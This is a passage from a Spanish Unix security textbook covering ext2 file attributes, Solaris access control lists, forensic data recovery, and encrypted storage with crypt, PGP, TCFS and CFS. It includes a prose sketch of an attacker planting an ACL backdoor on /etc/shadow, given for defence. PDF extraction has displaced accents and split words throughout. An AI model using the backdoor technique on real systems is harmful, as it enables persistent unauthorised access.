correcta pol´ e ıtica de seguridad en la m´quina, aunque menos importantes que los anteriores, son ‘s’ y ‘S’. Si borramos un archivo con a el atributo ‘s’ activo, el sistema va a rellenar sus bloques con ceros en lugar de efectuar un simple unlink(), para as´ dificultar la tarea de un atacante que intente recuperarlo; realmente, para un pi- ı rata experto esto no supone ning´n problema, simplemente un retraso en sus prop´sitos: en el punto u o 4.7 se trata m´s ampliamente la amenaza de la recuperaci´n de archivos, y tambi´n ah´ se comen- a o e ı ta que un simple relleno de bloques mediante bzero() no hace que la informaci´n sea irrecuperable. o Por su parte, el atributo ‘S’ sobre un fichero hace que los cambios sobre el archivo se escriban inmediatamente en el disco en lugar de esperar el sync del sistema operativo. Aunque no es lo habitual, bajo ciertas circunstancias un fichero de log puede perder informaci´n que a´n no se haya o u volcado a disco: imaginemos por ejemplo que alguien conecta al sistema y cuando ´ste registra la e entrada, la m´quina se apaga s´bitamente; toda la informaci´n que a´n no se haya grabado en a u o u disco se perder´. Aunque como decimos, esto no suele ser habitual – adem´s, ya hemos hablado de a a las ventajas de instalar un S.A.I. –, si nuestro sistema se apaga frecuentemente s´ que nos puede ı interesar activar el bit ‘S’ de ciertos ficheros importantes. Ya hemos tratado los atributos del sistema de ficheros ext2 que pueden incrementar la seguri- dad de Linux; vamos a ver ahora, sin entrar en muchos detalles (recordemos que tenemos a nuestra disposici´n las p´ginas del manual) c´mo activar o desactivar estos atributos sobre ficheros, y tam- o a o bi´n c´mo ver su estado. Para lo primero utilizamos la orden chattr, que recibe como par´metros e o a el nombre del atributo junto a un signo ‘+’ o ‘-’, en funci´n de si deseamos activar o desactivar el o atributo, y tambi´n el nombre de fichero correspondiente. Si lo que deseamos es visualizar el estado e de los diferentes atributos, utilizaremos lsattr, cuya salida indicar´ con la letra correspondiente a cada atributo del fichero o un signo - en el caso de que el atributo no est´ activado: e luisa:~# lsattr /tmp/fichero -------- /tmp/fichero luisa:~# chattr +a /tmp/fichero luisa:~# chattr +Ss /tmp/fichero luisa:~# lsattr /tmp/fichero s--S-a-- /tmp/fichero luisa:~# chattr -sa /tmp/fichero luisa:~# lsattr /tmp/fichero
- 76. 58 CAP´ ITULO 4. EL SISTEMA DE FICHEROS ---S---- /tmp/fichero luisa:~# 4.6 Listas de control de acceso: ACLs Las listas de control de acceso (ACLs, Access Control Lists) proveen de un nivel adicional de se- guridad a los ficheros extendiendo el cl´sico esquema de permisos en Unix: mientras que con estos a ultimos s´lo podemos especificar permisos para los tres grupos de usuarios habituales (propietario, ´ o grupo y resto), las ACLs van a permitir asignar permisos a usuarios o grupos concretos; por ejemp- lo, se pueden otorgar ciertos permisos a dos usuarios sobre unos ficheros sin necesidad de incluirlos en el mismo grupo. Este mecanismo est´ disponible en la mayor´ de Unices (Solaris, AIX, HP- a ıa UX. . . ), mientras que en otros que no lo proporcionan por defecto, como Linux, puede instalarse como un software adicional. A pesar de las agresivas campa˜as de marketing de alguna empresa, n que justamente presum´ de ofrecer este modelo de protecci´n en sus sistemas operativos frente al ıa o ‘arcaico’ esquema utilizado en Unix, las listas de control de acceso existen en Unix desde hace m´s a de diez a˜os ([Com88]). n Los ejemplos que vamos a utilizar aqu´ (´rdenes, resultados. . . ) se han realizado sobre Solaris; ı o la idea es la misma en el resto de Unices, aunque pueden cambiar las estructuras de las listas. Para obtener una excelente visi´n de las ACLs es recomendable consultar [Fri95], y por supuesto la docu- o mentaci´n de los diferentes clones de Unix para detalles concretos de cada manejo e implementaci´n. o o La primera pregunta que nos debemos hacer sobre las listas de control de acceso es obvia: ¿c´mo o las vemos? Si habitualmente queremos saber si a un usuario se le permite cierto tipo de acceso sobre un fichero no tenemos m´s que hacer un listado largo: a anita:~# ls -l /usr/local/sbin/sshd -rwx------ 1 root bin 2616160 Apr 28 1997 /usr/local/sbin/sshd anita:~# Viendo el resultado, directamente sabemos que el fichero sshd puede ser ejecutado, modificado y le´ por el administrador, pero por nadie m´s; sin embargo, no conocemos el estado de la lista ıdo a de control de acceso asociada al archivo. Para ver esta lista, en Solaris se ha de utilizar la orden getfacl: anita:/# getfacl /usr/local/sbin/sshd # file: /usr/local/sbin/sshd # owner: root # group: bin user::rwx group::--- #effective:--- mask:--- other:--- anita:/# Acabamos de visualizar una lista de control de acceso de Solaris; en primer lugar se nos indi- ca el nombre del fichero, su propietario y su grupo, todos precedidos por ‘#’. Lo que vemos a continuaci´n es la propia lista de control: los campos user, group y other son b´sicamente la in- o a terpretaci´n que getfacl hace de los permisos del fichero (si nos fijamos, coincide con el resultado o del ls -l). El campo mask es muy similar al umask cl´sico: define los permisos m´ximos que un a a usuario (a excepci´n del propietario) o grupo puede tener sobre el fichero. Finalmente, el campo o effective nos dice, para cada usuario (excepto el propietario) o grupo el efecto que la m´scara a tiene sobre los permisos: es justamente el campo que tenemos que analizar si queremos ver qui´n e puede acceder al archivo y de qu´ forma. e Sin embargo, hasta ahora no hemos observado nada nuevo; podemos fijarnos que la estructura de la lista de control de acceso otorga los mismos permisos que las ternas cl´sicas. Esto es algo a
- 77. 4.6. LISTAS DE CONTROL DE ACCESO: ACLS 59 normal en todos los Unix: si no indicamos lo contrario, al crear un fichero se le asocia una ACL que coincide con los permisos que ese archivo tiene en el sistema (cada archivo tendr´ una lista a asociada, igual que tiene unos permisos); de esta forma, el resultado anterior no es m´s que la visi´n a o que getfacl tiene de los bits rwx del fichero ([Gal96c]). Lo interesante de cara a la protecci´n de ficheros es extender los permisos cl´sicos del archivo, o a modificando su lista asociada. Esto lo podemos conseguir con la orden setfacl: anita:~# setfacl -m user:toni:r-x /usr/local/sbin/sshd anita:~# getfacl /usr/local/sbin/sshd # file: /usr/local/sbin/sshd # owner: root # group: bin user::rwx user:toni:r-x #effective:--- group::--- #effective:--- mask:--- other:--- anita:~# Como vemos, acabamos de modificar la lista de control de acceso del archivo para asignarle a toni permiso de ejecuci´n y lectura sobre el mismo. La orden setfacl se utiliza principalmente de o tres formas: o bien a˜adimos entradas a la ACL, mediante la opci´n -m seguida de las entradas n o que deseemos a˜adir separadas por comas (lo que hemos hecho en este caso, aunque no se han n utilizado comas porque s´lo hemos a˜adido una entrada), o bien utilizamos el par´metro -s para o n a reemplazar la ACL completa (hemos de indicar todas las entradas, separadas tambi´n por comas), e o bien borramos entradas de la lista con la opci´n -d (de sintaxis similar a -m). Cada entrada de o la ACL tiene el siguiente formato: tipo:uid|gid:permisos El tipo indica a qui´n aplicar los permisos (por ejemplo, user para el propietario del archivo, o e mask para la m´scara), el UID indica el usuario al que queremos asociar la entrada (como hemos a visto, se puede utilizar tambi´n el login, y el GID hace lo mismo con el grupo (de la misma forma, e se puede especificar su nombre simb´lico). Finalmente, el campo de permisos hace referencia a los o permisos a asignar, y puede ser especificado mediante s´ ımbolos rwx- o de forma octal. Acabamos de indicar que el usuario toni tenga permiso de lectura y ejecuci´n en el archivo; no o obstante, si ahora este usuario intenta acceder al fichero en estos modos obtendr´ un error: a anita:/usr/local/sbin$ id uid=100(toni) gid=10(staff) anita:/usr/local/sbin$ ./sshd bash: ./sshd: Permission denied anita:/usr/local/sbin$ ¿Qu´ ha sucedido? Nada anormal, simplemente est´ actuando la m´scara sobre sus permisos (antes e a a hemos dicho que debemos fijarnos en el campo effective, y aqu´ podemos comprobar que no se ı ha modificado). Para solucionar esto hemos de modificar el campo mask: anita:~# setfacl -m mask:r-x /usr/local/sbin/sshd anita:~# Si ahora toni intenta acceder al fichero para leerlo o ejecutarlo, ya se le va a permitir: anita:/usr/local/sbin$ id uid=100(toni) gid=10(staff) anita:/usr/local/sbin$ ./sshd /etc/sshd_config: No such file or directory ...
- 78. 60 CAP´ ITULO 4. EL SISTEMA DE FICHEROS Aunque obtenga un error, este error ya no depende de la protecci´n de los ficheros sino de la o configuraci´n del programa: el administrador obtendr´ el mismo error. No obstante, s´ que hay o ıa ı diferencias entre una ejecuci´n de toni y otra del root, pero tambi´n son impuestas por el resto del o e sistema operativo Unix: toni no podr´ utilizar recursos a los que no le est´ permitido el acceso, ıa a como puertos bien conocidos, otros ficheros, o procesos que no le pertenezcan. Hay que recordar que aunque un usuario ejecute un archivo perteneciente al root, si el fichero no est´ setuidado los a privilegios del usuario no cambian. Sucede lo mismo que pasar´ si el usuario tuviera permiso de ıa ejecuci´n normal sobre el fichero, pero ´ste realizara tareas privilegiadas: podr´ ejecutarlo, pero o e ıa obtendr´ error al intentar violar la protecci´n del sistema operativo. ıa o En Solaris, para indicar que una lista de control de acceso otorga permisos no reflejados en los bits rwx se situa un s´ ımbolo ‘+’ a la derecha de los permisos en un listado largo: anita:~# ls -l /usr/local/sbin/sshd -rwx------+ 1 root bin 2616160 Apr 28 1997 /usr/local/sbin/sshd anita:~# Otra caracter´ıstica que tiene Solaris es la capacidad de leer las entradas de una lista de control de acceso desde un fichero en lugar de indicarlas en la l´ınea de ´rdenes, mediante la opci´n -f de o o setfacl; el formato de este fichero es justamente el resultado de getfacl, lo que nos permite copiar ACLs entre archivos de una forma muy c´moda: o anita:~# getfacl /usr/local/sbin/sshd >/tmp/fichero anita:~# setfacl -f /tmp/fichero /usr/local/sbin/demonio anita:~# getfacl /usr/local/sbin/demonio # file: /usr/local/sbin/demonio # owner: root # group: other user::rwx user:toni:r-x #effective:r-x group::--- #effective:--- mask:r-x other:--- anita:~# Esto es equivalente a utilizar una tuber´ entre las dos ´rdenes, lo que producir´ el mismo resultado: ıa o ıa anita:~# getfacl /usr/local/sbin/sshd | setfacl -f - /usr/local/sbin/demonio Antes de finalizar este apartado dedicado a las listas de control de acceso, quiz´s sea conveniente a comentar el principal problema de estos mecanismos. Est´ claro que las ACLs son de gran ayuda a para el administrador de sistemas Unix, tanto para incrementar la seguridad como para facilitar ciertas tareas; sin embargo, es f´cil darse cuenta de que se pueden convertir en algo tambi´n de a e gran ayuda, pero para un atacante que desee situar puertas traseras en las m´quinas. Imaginemos a simplemente que un usuario autorizado de nuestro sistema aprovecha el ultimo bug de sendmail ´ (realmente nunca hay un ‘´ltimo’) para conseguir privilegios de administrador en una m´quina; u a cuando se ha convertido en root modifica la lista de control de acceso asociada a /etc/shadow y crea una nueva entrada que le da un permiso total a su login sobre este archivo. Una vez hecho esto, borra todo el rastro y corre a avisarnos del nuevo problema de sendmail, problema que r´pidamente solucionamos, le damos las gracias y nos olvidamos del asunto. ¿Nos olvidamos del a asunto? Tenemos un usuario que, aunque los bits rwx no lo indiquen, puede modificar a su gusto un archivo crucial para nuestra seguridad. Contra esto, poco podemos hacer; simplemente comprobar frecuentemente los listados de todos los ficheros importantes (ahora entendemos por qu´ aparece e el s´ ımbolo ‘+’ junto a las ternas de permisos), y si encontramos que un fichero tiene una lista de control que otorga permisos no reflejados en los bits rwx, analizar dicha lista mediante getfacl y verificar que todo es correcto. Es muy recomendable programar un par de shellscripts simples, que automaticen estos procesos y nos informen en caso de que algo sospechoso se detecte.
- 79. ´ 4.7. RECUPERACION DE DATOS 61 4.7 Recuperaci´n de datos o La inform´tica forense es un campo que d´ a d´ toma importancia; de la misma forma que la medic- a ıa ıa ina forense es capaz de extraer informaci´n valiosa de un cad´ver, incluso mucho despu´s de haber o a e muerto, la inform´tica forense pretende extraer informaci´n de un ‘cad´ver’ computerizado (por a o a ejemplo, un sistema en el que un intruso ha borrado sus huellas), tambi´n incluso mucho despu´s e e de haber ‘muerto’ (esto es, haber sido borrado). Aunque las t´cnicas de recuperaci´n de datos en e o Unix se aplican habitualmente para potenciar la seguridad de un equipo (por ejemplo, como hemos dicho, para analizar el alcance real de un acceso no autorizado), ´stas mismas t´cnicas utilizadas e e por un atacante pueden llegar a comprometer gravemente la seguridad del sistema: un intruso que haya conseguido cierto nivel de privilegio puede recuperar, por ejemplo, el texto plano de un docu- mento que un usuario haya cifrado con pgp y posteriormente borrado – almacenando unicamente ´ el documento cifrado –. Aunque esto no es tan trivial como en otros sistemas menos seguros (en los que incluso se facilitan herramientas tipo undelete), parece claro que este tipo de actividades constituyen una amenaza a la seguridad (principalmente a la privacidad) de cualquier sistema Unix. En 1996, Peter Gutmann public´ [Gut96], un excelente art´ o ıculo donde se demostr´ que la recu- o peraci´n de datos de memoria (esto incluye por supuesto la memoria secundaria) es posible con un o equipamiento relativamente barato, de entre 1000 y 2500 d´lares, incluso tras sobreescribir varias o veces los datos a borrar. Hasta ese momento casi todo el trabajo realizado en el campo de la de- strucci´n ‘segura’ de datos se habia limitado a est´ndares de organismos de defensa estadounidenses o a ([Cen91], [Age85]. . . ). Como el propio Gutmann explica, estos trabajos – aparte de quedar anticua- dos – no mostraban toda la realidad sobre la destrucci´n y recuperaci´n de datos, sino que ofrec´ o o ıan una informaci´n posiblemente inexacta; de esta forma las agencias estadounidenses confund´ a la o ıan opini´n p´blica (y a los servicios de pa´ hostiles) asegurando as´ el acceso de la propia agencia a o u ıses ı la informaci´n, y al mismo tiempo proteg´ sus propios datos mediante gu´ y est´ndares clasifi- o ıan ıas a cados para uso interno. El art´ıculo de Gutmann se puede considerar la base de la inform´tica forense actual, un campo a que como hemos dicho, d´ a d´ cobra importancia; centr´ndonos en la rama de este campo rela- ıa ıa a tiva a Unix (se le suele denominar Unix Forensics) podemos encontrar herramientas para realizar borrado seguro de datos, como srm (Secure rm), del grupo de hackers THC (The Hacker´s Choice); este software implementa un algoritmo de borrado seguro bas´ndose en [Gut96]. Dicho algoritmo a efectua principalmente un procedimiento de sobreescritura casi 40 veces, haciendo un flush de la cach´ de disco despu´s de cada una de ellas; adem´s trunca el fichero a borrar y lo renombra aleato- e e a riamente antes de efectuar el unlink(), de forma que para un potencial atacante sea m´s dif´ a ıcil obtener cualquier informaci´n del archivo una vez borrado. srm se distribuye dentro de un paquete o software denominado secure-delete, donde tambi´n podemos encontrar otras herramientas rela- e cionadas con la eliminaci´n segura de datos: smem (borrado seguro de datos en memoria principal), o sfill (borrado seguro de datos en el espacion disponible de un disco) y por ultimo sswap (borrado ´ seguro de datos en el ´rea de swap de Linux); todos los algoritmos utilizados en estos programas a est´n basados en el art´ a ıculo de Gutmann del que antes hemos hablado. Otra herramienta importante a la hora de hablar de Unix Forensics, pero esta vez desde el la- do opuesto a secure-delete – esto es, desde el punto de vista de la recuperaci´n de datos – es sin o duda The Coroner´s Toolkit, obra de dos reconocidos expertos en seguridad: Wietse Venema y Dan Farmer. En verano de 1999, concretamente el 6 de agosto, en el IBM T.J. Watson Research Center de Nueva York estos dos expertos dieron una clase sobre Unix Forensics, en la que mostraban c´moo extraer informaci´n de este sistema operativo, no s´lo del sistema de ficheros, sino tambi´n de la o o e red, el sistema de logs o los procesos que se ejecutan en una m´quina. Lamentablemente, The Coro- a ner´s Toolkit a´n no se encuentra disponible, pero es posible ojear lo que va a ser esta herramienta u en las transparencias de esta conferencia, disponibles en http://www.porcupine.org/forensics/, donde se muestra todo lo que un exhaustivo an´lisis sobre Unix puede – y tambi´n lo que no puede a e – conseguir. El an´lisis forense, especialmente la recuperaci´n de datos, es especialmente importante a la hora a o de analizar los alcances de una intrusi´n a un equipo. En estas situaciones, es muy posible que o
- 80. 62 CAP´ ITULO 4. EL SISTEMA DE FICHEROS el atacante modifique ficheros de log (cuando no los borra completamente), troyanize programas o ejecute procesos determinados: es aqu´ donde la persona encargada de retornar al sistema a la nor- ı malidad debe desconfiar de cuanto la m´quina le diga, y recurrir al an´lisis forense para determinar a a el impacto real del ataque y devolver el sistema a un correcto funcionamiento. 4.8 Almacenamiento seguro 4.8.1 La orden crypt(1) La orden crypt permite cifrar y descifrar ficheros en diferentes sistemas Unix; si no recibe par´me- a tros lee los datos de la entrada est´ndar y los escribe en la salida est´ndar, por lo que seguramente a a habremos de redirigir ambas a los nombres de fichero adecuados. Un ejemplo simple de su uso puede ser el siguiente: $ crypt <fichero.txt >fichero.crypt Enter key: $ En el anterior ejemplo hemos cifrado utilizando crypt el archivo fichero.txt y guardado el resul- tado en fichero.crypt; el original en texto claro se mantiene en nuestro directorio, por lo que si queremos evitar que alguien lo lea deberemos borrarlo. Para descifrar un fichero cifrado mediante crypt (por ejemplo, el anterior) utilizamos la misma orden y la misma clave: $ crypt <fichero.crypt>salida.txt Enter key: $ El anterior comando ha descifrado fichero.crypt con la clave tecleada y guardado el resultado en el archivo salida.txt, que coincidir´ en contenido con el anterior fichero.txt. a crypt no se debe utilizar nunca para cifrar informaci´n confidencial; la seguridad del algorit- o mo de cifra utilizado por esta orden es m´ ınima, ya que crypt se basa en una m´quina con un rotor a de 256 elementos similar en muchos aspectos a la alemana Enigma, con unos m´todos de ataque e r´pidos y conocidos por todos ([RW84]). Por si esto fuera poco, si en lugar de teclear la clave a cuando la orden nos lo solicita lo hacemos en l´ ınea de comandos, como en el siguiente ejemplo: $ crypt clave < fichero.txt > fichero.crypt $ Entonces a la debilidad criptogr´fica de crypt se une el hecho de que en muchos Unices cualquier a usuario puede observar la clave con una orden tan simple como ps (no obstante, para minimizar este riesgo, el propio programa guarda la clave y la elimina de su l´ ınea de argumentos nada m´s a leerla). Obviamente, la orden crypt(1) no tiene nada que ver con la funci´n crypt(3), utilizada a la o hora de cifrar claves de usuarios, que est´ basada en una variante del algoritmo des y se puede a considerar segura en la mayor´ de entornos. ıa 4.8.2 PGP: Pretty Good Privacy El software PGP, desarrollado por el cript´logo estadounidense Phil Zimmermann ([Zim95a], o [Zim95b]), es mundialmente conocido como sistema de firma digital para correo electr´nico. Aparte o de esta funci´n, PGP permite tambi´n el cifrado de archivos de forma convencional mediante o e criptograf´ sim´trica ([Gar95]); esta faceta de PGP convierte a este programa en una excelente ıa e herramienta para cifrar archivos que almacenamos en nuestro sistema; no es el mismo mecanismo que el que se emplea para cifrar un fichero que vamos a enviar por correo, algo que hay que hacer utilizando la clave p´blica del destinatario, sino que es un m´todo que no utiliza para nada los u e
- 81. 4.8. ALMACENAMIENTO SEGURO 63 anillos de PGP, los userID o el cifrado asim´trico. Para ello utilizamos la opci´n -c7 desde l´ e o ınea de ´rdenes: o anita:~$ pgp -c fichero.txt No configuration file found. Pretty Good Privacy(tm) 2.6.3i - Public-key encryption for the masses. (c) 1990-96 Philip Zimmermann, Phil’s Pretty Good Software. 1996-01-18 International version - not for use in the USA. Does not use RSAREF. Current time: 2000/03/02 07:18 GMT You need a pass phrase to encrypt the file. Enter pass phrase: Enter same pass phrase again: Preparing random session key...Just a moment.... Ciphertext file: fichero.txt.pgp anita:~$ Esta orden nos preguntar´ una clave para cifrar, una pass phrase, que no tiene por qu´ ser (ni a e es recomendable que lo sea) la misma que utilizamos para proteger la clave privada, utilizada en el sistema de firma digital. A partir de la clave tecleada (que obviamente no se muestra en pan- talla), PGP generar´ un archivo denominado fichero.txt.pgp cuyo contenido es el resultado de a comprimir y cifrar (en este orden) el archivo original. Obviamente, fichero.txt no se elimina autom´ticamente, por lo que es probable que deseemos borrarlo a mano. a Si lo que queremos es obtener el texto en claro de un archivo previamente cifrado simplemente hemos de pasar como par´metro el nombre de dicho fichero: a anita:~$ pgp fichero.txt.pgp No configuration file found. Pretty Good Privacy(tm) 2.6.3i - Public-key encryption for the masses. (c) 1990-96 Philip Zimmermann, Phil’s Pretty Good Software. 1996-01-18 International version - not for use in the USA. Does not use RSAREF. Current time: 2000/03/02 07:24 GMT File is conventionally encrypted. You need a pass phrase to decrypt this file. Enter pass phrase: Just a moment....Pass phrase appears good. . Plaintext filename: fichero.txt anita:~$ Como vemos, se nos pregunta la clave que hab´ ıamos utilizado para cifrar el archivo, y si es correcta se crea el fichero con el texto en claro; como suced´ antes, el archivo original no se elimina, por lo ıa que tendremos ambos en nuestro directorio. PGP ofrece un nivel de seguridad much´ ısimo superior al de crypt(1), ya que utiliza algoritmos de cifra m´s robustos: en lugar de implementar un modelo similar a Enigma, basado en m´quinas de a a rotor, PGP ofrece cifrado sim´trico principalmente mediante IDEA, un algoritmo de clave secreta e desarrollado a finales de los ochenta por Xuejia Lai y James Massey. Aparte de IDEA, en versiones posteriores a la utilizada aqu´ se ofrecen tambi´n Triple DES (similar a DES pero con una longitud ı e de clave mayor) y CAST5, un algoritmo canadiense que hasta la fecha s´lo ha podido ser atacado o con ´xito mediante fuerza bruta; este ultimo es el cifrador sim´trico utilizado por defecto en PGP e ´ e 5.x. 7 Los ejemplos se han realizado con PGP 2.6.3i, en versiones posteriores han cambiado la sintaxis y la forma de trabajar.
- 82. 64 CAP´ ITULO 4. EL SISTEMA DE FICHEROS 4.8.3 TCFS: Transparent Cryptographic File System TCFS es un software desarrollado en la Universidad de Salerno y disponible para sistemas Linux que proporciona una soluci´n al problema de la privacidad en sistemas de ficheros distribuidos como o NFS: t´ıpicamente en estos entornos las comunicaciones se realizan en texto claro, con la enorme amenaza a la seguridad que esto implica. TCFS almacena los ficheros cifrados, y son pasados a texto claro antes de ser le´ ıdos; todo el proceso se realiza en la m´quina cliente, por lo que las claves a nunca son enviadas a trav´s de la red. e La principal diferencia de TCFS con respecto a otros sistemas de ficheros cifrados como CFS es que, mientras que ´stos operan a nivel de aplicaci´n, TCFS lo hace a nivel de n´cleo, consiguiendo as´ e o u ı una mayor transparencia y seguridad. Obviamente esto tiene un grave inconveniente: TCFS s´lo o est´ dise˜ado para funcionar dentro del n´cleo de sistemas Linux, por lo que si nuestra red de Unix a n u utiliza otro clon del sistema operativo, no podremos utilizar TCFS correctamente. No obstante, esta gran integraci´n de los servicios de cifrado en el sistema de los ficheros hace que el modelo sea o transparente al usuario final. Para utilizar TCFS necesitamos que la m´quina que exporta directorios v´ NFS ejecute el demonio a ıa xattrd; por su parte, los clientes han de ejecutar un n´cleo compilado con soporte para TCFS. u Adem´s, el administrador de la m´quina cliente ha de autorizar a los usuarios a que utilicen TCFS, a a generando una clave que cada uno de ellos utilizar´ para trabajar con los ficheros cifrados; esto se a consigue mediante tcfsgenkey, que genera una entrada para cada usuario en /etc/tcfspasswd: rosita:~# tcfsgenkey login: toni password: now we’ll generate the des key. press 10 keys:********** Ok. rosita:~# cat /etc/tcfspasswd toni:2rCmyOUsM5IA= rosita:~# Una vez que un usuario tiene una entrada en /etc/tcfspasswd con su clave ya puede acceder a ficheros cifrados; para ello, en primer lugar utilizar´ tcfslogin para insertar su clave en el kernel, a tras lo cual puede ejecutar la variante de mount distribuida con TCFS para montar los sistemas que el servidor exporta. Sobre los archivos de estos sistemas, se utiliza la variante de chattr de TCFS para activar o desactivar el atributo X (podemos visualizar los atributos de un fichero con lsattr), que indica que se trata de archivos que necesitan al demonio de TCFS para trabajar sobre ellos (cifrando o descifrando). Finalmente, antes de abandonar una sesi´n se ha de ejecutar tcfslogout, o cuya funci´n es eliminar la clave del kernel de Linux. Tambi´n es necesaria una variante de passwd, o e proporcionada con TCFS, que regenera las claves de acceso a archivos cifrados cuando un usuario cambia su password. TCFS utiliza uno de los cuatro modos de funcionamiento que ofrece el est´ndar DES ([oS80]) a denominado CBC (Cipher Block Chaining). El principal problema de este modelo (aparte de la potencial inseguridad de DES) es la facilidad para insertar informaci´n al final del fichero cifrado, o por lo que es indispensable recurrir a estructuras que permitan detectar el final real de cada archivo; otro problema, menos peligroso a priori, es la repetici´n de patrones en archivos que ocupen m´s de o a 34 Gigabytes (aproximadamente), que puede conducir, aunque es poco probable, a un criptoan´lisis a exitoso en base a estas repeticiones. M´s peligroso es el uso del mismo password de entrada al sis- a tema como clave de cifrado utilizando la funci´n resumen MD5 (el peligro no proviene del uso de o esta funci´n hash, sino de la clave del usuario); previsiblemente en futuras versiones de TCFS se o utilizar´n passphrases similares a las de PGP para descifrar y descifrar. a 4.8.4 Otros m´todos de almacenamiento seguro e En los ultimos a˜os los usuarios de Unix se han concienciado cada vez m´s con la seguridad de los ´ n a datos que poseen en sus sistemas, especialmente de la privacidad de los mismos: un sistema fiable
- 83. 4.8. ALMACENAMIENTO SEGURO 65 ha de pasar necesariamente por un m´todo de almacenamiento seguro; por supuesto, esta preocu- e paci´n de los usuarios autom´ticamente se traduce en m´s investigaciones y nuevos desarrollos en o a a este campo de la seguridad. En este cap´ ıtulo hemos analizado las ventajas, las desventajas y el funcionamiento de algunos de estos sistemas, desde el modelo cl´sico y habitual en Unix hasta las a ultimas herramientas de an´lisis forense y su problem´tica, pasando por aplicaciones tan simples ´ a a como crypt o tan complejas como pgp; aunque se ha pretendido dar una visi´n general de lo que o se entiende por un almacenamiento seguro en Unix, es imposible tratar todas las implementaciones de sistemas que incrementan la seguridad en la actualidad. No obstante, antes de finalizar este cap´ıtulo hemos preferido comentar algunas de las caracter´ ısticas de sistemas que se han hecho ya, se est´n haciendo, o previsiblemente se har´n en un futuro no muy lejano un hueco importante a a entre los mecanismos de almacenamiento seguro en Unix. No podemos finalizar sin hablar del sistema CFS (Cryptographic File System), del experto en seguridad Matt Blaze ([Bla93]), que se ha convertido en el sistema m´s utilizado en entornos donde a coexisten diferentes clones de Unix (ya hemos comentado el problema de TCFS y su dependencia con Linux). Provee de servicios de cifrado a cualquier sistema de ficheros habitual en Unix, NFS incluido, utilizando una combinaci´n de varios modos de trabajo de DES que son lo suficientemente o ligeros como para no sobrecargar demasiado a una m´quina normal pero lo suficientemente pesados a como para proveer de un nivel aceptable de seguridad. Los usuarios no tienen m´s que asociar una a clave a los directorios a proteger para que CFS cifre y descifre sus contenidos de forma transparente utilizando dicha clave; el texto en claro de los mismos nunca se almacena en un dispositivo o se transmite a trav´s de la red, y los procedimientos de copia de seguridad en la m´quina no se ven e a afectados por el uso de CFS. Todo el proceso se realiza en el espacio de usuario (a diferencia de TCFS, que operaba dentro del kernel de Linux) utilizando principalmente el demonio cfsd en la m´quina donde se encuentren los sistemas cifrados. a Peter Gutmann, del que ya hemos hablado en este cap´ ıtulo, desarroll´ en la primera mitad de o los noventa SFS (Secure File System). Este modelo de almacenamiento seguro se dise˜o original- n´ mente para sistemas MS-DOS o Windows, donde funciona como un manejador de dispositivos m´s, a aunque en la actualidad existen tambi´n versiones para Windows 95, Windows NT y OS/2. No e est´ portado a Unix, pero aqu´ lo citamos porque existe un sistema de almacenamiento seguro para a ı Unix denominado tambi´n Secure File System, SFS, pero no tiene nada que ver con el original de e Gutmann. El SFS de Unix funciona de una forma similar a CFS pero utilizando el criptosistema Blowfish y una versi´n minimalista de RSA en lugar de DES; no vamos a entrar en detalles de este o software principalmente porque su uso en entornos Unix no est´ ni de lejos tan extendido como el a de CFS. La criptograf´ es la herramienta principal utilizada en la mayor´ de los sistemas de almacenamien- ıa ıa to seguro; sin embargo, todos ellos plantean un grave problema: toda su seguridad reside en la clave de cifrado, de forma que el usuario se encuentra indefenso ante m´todos legales – o ilegales – que e le puedan obligar a desvelar esta clave una vez que se ha determinado la presencia de informaci´n o cifrada en un dispositivo de almacenamiento. Esto, que nos puede parecer algo exagerado, no lo es en absoluto: todos los expertos en criptograf´ coinciden en afirmar que los m´todos de ataque m´s ıa e a efectivos contra un criptosistema no son los efectuados contra el algoritmo, sino contra las personas (chantaje, amenazas, presiones judiciales. . . ). Intentando dar soluci´n a este problema, durante los o ultimos a˜os de la d´cada de los noventa, prestigiosos investigadores de la talla de Roger Need- ´ n e ham, Ross Anderson o Adi Shamir ([ANS98]) han establecido las bases de sistemas seguros basados en modelos esteganogr´ficos, con desarrollos especialmente importantes sobre plataformas Linux a ([MK99], [vSS98]. . . ). La disponibilidad del c´digo fuente completo de este clon de Unix unida a su o pol´ıtica de desarrollo ha propiciado enormemente estos avances, hasta el punto de que existen en la actualidad sistemas de ficheros basados en esteganograf´ que se insertan en el kernel igual que lo ıa hace un sistema normal como ufs o nfs, o que se a˜aden a ext2 proporcionando funciones de cifrado. n La idea es sencilla: si por ejemplo tenemos cinco archivos cifrados con una aplicaci´n como pgp, o cualquier atacante con acceso al dispositivo y que haga unas operaciones sobre ficheros puede deter- minar que tenemos exactamente esos archivos cifrados; con esta informaci´n, su labor para obtener o la informaci´n est´ muy clara: se ha de limitar a obtener las cinco claves privadas usadas para o a
- 84. 66 CAP´ ITULO 4. EL SISTEMA DE FICHEROS cifrar los ficheros. Conocer el n´mero exacto es de una ayuda incalculable para el atacante. Con u los sistemas esteganogr´ficos, a pesar de que es imposible ocultar la existencia de cierta informa- a ci´n cifrada, alguien que la inspeccione no va a poder determinar si la clave de descifrado que el o propietario le ha proporcionado otorga acceso a toda la informaci´n o s´lo a una parte de la misma. o o Un atacante que no posea todas las claves no va a poder descifrar todos los ficheros, y lo m´s im- a portante: no va a poder saber ni siquiera si otros archivos aparte de aquellos a los que ha accedido existen o no, aunque posea un acceso total al software y al soporte f´ ısico. Para conseguir esto se utiliza una propiedad de ciertos mecanismos de seguridad denominada plausible deniability, algo que se vendr´ a traducir como ‘negaci´n creible’; dicha propiedad permitir´ a un usuario negar ıa o ıa de forma creible que en un dispositivo exista m´s informaci´n cifrada de la que ya se ha podido a o descubrir, o que cierta transacci´n se haya llevado a cabo. Volviendo al ejemplo de pgp, el usuario o podr´ revelar la clave de cifrado de s´lo uno o dos de los archivos, aquellos que no considere vitales, ıa o ocultando las claves y la existencia del resto sin que el atacante sea capaz de determinar que la informaci´n accedida no es toda la existente. o
